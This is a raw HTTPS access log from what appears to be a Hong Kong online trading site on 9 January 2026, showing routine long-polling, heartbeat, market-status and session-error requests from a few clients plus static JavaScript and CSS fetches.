[09/Jan/2026:11:21:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929164225 HTTP/1.1" -
[09/Jan/2026:11:21:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929151930 HTTP/1.1" -
[09/Jan/2026:11:21:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929154976 HTTP/1.1" -
[09/Jan/2026:11:21:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929151496 HTTP/1.1" -
[09/Jan/2026:11:21:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929170233 HTTP/1.1" -
[09/Jan/2026:11:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:27 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929156960 HTTP/1.1" -
[09/Jan/2026:11:21:28 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:11:21:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929160039 HTTP/1.1" -
[09/Jan/2026:11:21:28 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:11:21:29 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:11:21:29 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929156535 HTTP/1.1" -
[09/Jan/2026:11:21:29 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:11:21:29 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:11:21:30 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:11:21:31 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:11:21:32 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:11:21:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929176223 HTTP/1.1" -
[09/Jan/2026:11:21:32 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929161985 HTTP/1.1" -
[09/Jan/2026:11:21:33 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:11:21:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929165176 HTTP/1.1" -
[09/Jan/2026:11:21:34 +0800] 40.77.167.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:11:21:34 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929161613 HTTP/1.1" -
[09/Jan/2026:11:21:37 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929167031 HTTP/1.1" -
[09/Jan/2026:11:21:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929182237 HTTP/1.1" -
[09/Jan/2026:11:21:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929170323 HTTP/1.1" -
[09/Jan/2026:11:21:39 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929166682 HTTP/1.1" -
[09/Jan/2026:11:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929172074 HTTP/1.1" -
[09/Jan/2026:11:21:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929175457 HTTP/1.1" -
[09/Jan/2026:11:21:44 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929171773 HTTP/1.1" -
[09/Jan/2026:11:21:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929188229 HTTP/1.1" -
[09/Jan/2026:11:21:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929177117 HTTP/1.1" -
[09/Jan/2026:11:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929180598 HTTP/1.1" -
[09/Jan/2026:11:21:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929176841 HTTP/1.1" -
[09/Jan/2026:11:21:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:49 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929194233 HTTP/1.1" -
[09/Jan/2026:11:21:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:21:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929182153 HTTP/1.1" -
[09/Jan/2026:11:21:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929185765 HTTP/1.1" -
[09/Jan/2026:11:21:54 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929181930 HTTP/1.1" -
[09/Jan/2026:11:21:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929200233 HTTP/1.1" -
[09/Jan/2026:11:21:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:21:57 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:21:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929187179 HTTP/1.1" -
[09/Jan/2026:11:21:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929190860 HTTP/1.1" -
[09/Jan/2026:11:21:59 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929186955 HTTP/1.1" -
[09/Jan/2026:11:22:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929206237 HTTP/1.1" -
[09/Jan/2026:11:22:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929192207 HTTP/1.1" -
[09/Jan/2026:11:22:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929196016 HTTP/1.1" -
[09/Jan/2026:11:22:04 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929192073 HTTP/1.1" -
[09/Jan/2026:11:22:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929197245 HTTP/1.1" -
[09/Jan/2026:11:22:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929212223 HTTP/1.1" -
[09/Jan/2026:11:22:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929201149 HTTP/1.1" -
[09/Jan/2026:11:22:09 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929197164 HTTP/1.1" -
[09/Jan/2026:11:22:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929202282 HTTP/1.1" -
[09/Jan/2026:11:22:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929218237 HTTP/1.1" -
[09/Jan/2026:11:22:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929206262 HTTP/1.1" -
[09/Jan/2026:11:22:14 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929202233 HTTP/1.1" -
[09/Jan/2026:11:22:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929207302 HTTP/1.1" -
[09/Jan/2026:11:22:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:19 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929207317 HTTP/1.1" -
[09/Jan/2026:11:22:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929211420 HTTP/1.1" -
[09/Jan/2026:11:22:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:22:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929224228 HTTP/1.1" -
[09/Jan/2026:11:22:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:22:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:22:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929212321 HTTP/1.1" -
[09/Jan/2026:11:22:24 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929212347 HTTP/1.1" -
[09/Jan/2026:11:22:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929216557 HTTP/1.1" -
[09/Jan/2026:11:22:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767929230226 HTTP/1.1" -
